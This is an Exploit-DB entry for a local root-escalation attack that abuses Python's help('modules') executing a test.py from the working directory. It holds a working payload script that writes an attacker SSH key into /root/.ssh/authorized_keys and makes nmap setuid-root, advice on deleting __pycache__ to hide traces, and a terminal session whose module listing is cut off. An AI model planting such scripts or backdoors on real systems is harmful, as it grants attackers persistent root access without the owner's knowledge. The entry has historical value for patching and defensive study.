Exploit-DB #19693
Description: Python - Untrusted Search Path/Code Execution
Type: local
Platform: linux
Date: 2012-07-09
Author: rogueclown

Exploit:
# Exploit Title: Python untrusted search path/code execution vulnerability
# Date: 7.6.12
# Exploit Author: rogueclown
# Vendor Homepage: http://www.python.org
# Software Link: http://www.python.org/getit/releases/
# Version: python 2.7.2 and python 3.2.1
# Tested on: linux (my test machine was OpenSUSE 12.1)
#
# This is an expansion on www.exploit-db.com/exploits/19523/ -- a big thanks,
# and the lion's share of the credit, to ShadowHatesYou (Shadow@SquatThis.net).
# They found the vulnerability; i just found a more generalized application
# of it.
# 
# Basically, i found that it's not just python-wrapper that executes a test.py
# script within the current working directory when help('modules') is run --
# python itself does that.  In python 2, it works just as ShadowHatesYou showed
# it in his python-wrapper exploit.
#
# This still works in python 3, but you have to do a bit more to cover your
# tracks.  In the working directory, python 3 drops a __pycache__ directory 
# with a .pyc file inside it.  Most of the bytecode in there is not human
# readable, but it displays the shell command called by the script in 
# plaintext, making it pretty obvious that something funny happened.  However,
# you can get around this by making sure that your test.py script removes the
# __pycache__ directory from the working directory. 
#
# rogueclown
# rogueclown@rogueclown.net
# 7.6.12

############
# PYTHON 2 #
############

adalia@bukkit:~/security/pythonwrapper> ls -hl test.py
-rw-r--r-- 1 adalia users 144 Jul  4 15:47 test.py
adalia@bukkit:~/security/pythonwrapper> cat test.py
#!/usr/bin/python

import os

os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap")
adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap
-rwxr-xr-x 1 root root 1.4M Oct 29  2011 /usr/bin/nmap
adalia@bukkit:~/security/pythonwrapper> su
[CREDENTIAL_REDACTED]:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys
ls: cannot access /root/.ssh/authorized_keys: No such file or directory
bukkit:/home/adalia/security/pythonwrapper # python
Python 2.7.2 (default, Aug 19 2011, 20:41:43) [GCC] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('modules')

Please wait a moment while I gather a list of all available modules...


/usr/lib64/python2.7/site-packages/gobject/constants.py:24: Warning: g_boxed_type_register_static: assertion `g_type_from_name (name) == 0' failed
  import gobject._gobject
/usr/lib64/python2.7/site-packages/twisted/words/im/__init__.py:8: UserWarning: twisted.im will be undergoing a rewrite at some point in the future.
  warnings.warn("twisted.im will be undergoing a rewrite at some point in the future.")
** Message: pygobject_register_sinkfunc is deprecated (GstObject)
Alacarte            abc                 gtkunixprint        readline
BaseHTTPServer      aifc                gzip                repr
Bastion             antigravity         hashlib             resource
BeautifulSoup       anydbm              heapq               rexec
BeautifulSoupTests  argparse            hmac                rfc822
CDROM               array               hotshot             rlcompleter
CGIHTTPServer       ast                 hpmudext            robotparser
ConfigParser        asynchat            htmlentitydefs      rpm
Cookie              asyncore            htmllib             runpy
Crypto              atexit              httplib             satsolver
DLFCN               atk                 httplib2            scanext
DocXMLRPCServer     atom                ieee1284            sched
HTMLParser          audiodev            ihooks              scout
IN                  base64              imaplib             select
MimeWriter          bdb                 imghdr              serial
OpenSSL             beaker              imp                 sets
PAM                 binascii            importlib           setuptools
PyQt4               binhex              imputil             sgmllib
Queue               bisect              inspect             sha
SimpleHTTPServer    bsddb               io                  shelve
SimpleXMLRPCServer  butterfly           itertools           shlex
SocketServer        bz2                 json                shutil
StringIO            cPickle             keyword             signal
TYPES               cProfile            lib2to3             simplejson
UserDict            cStringIO           libproxy            sip
UserList            cairo               libvboxjxpcom       site
UserString          calendar            libxml2             smbc
VBoxAuth            cgi                 libxml2mod          smtpd
VBoxAuthSimple      cgitb               linecache           smtplib
VBoxDD              chunk               linuxaudiodev       sndhdr
VBoxDD2             cmath               locale              socket
VBoxDDU             cmd                 logging             spwd
VBoxDbg             code                louie               sqlite3
VBoxGuestControlSvc codecs              macpath             sre
VBoxGuestPropSvc    codeop              macurl2path         sre_compile
VBoxHeadless        coherence           mad                 sre_constants
VBoxKeyboard        collections         mailbox             sre_parse
VBoxNetDHCP         colorsys            mailcap             ssl
VBoxOGLhostcrutil   commands            mako                stat
VBoxOGLhosterrorspu compileall          markupbase          statvfs
VBoxOGLrenderspu    compiler            markupsafe          string
VBoxPython          contextlib          marshal             stringold
VBoxPython2_7       cookielib           math                stringprep
VBoxREM             copy                md5                 strop
VBoxRT              copy_reg            mhlib               struct
VBoxSDL             crypt               mimetools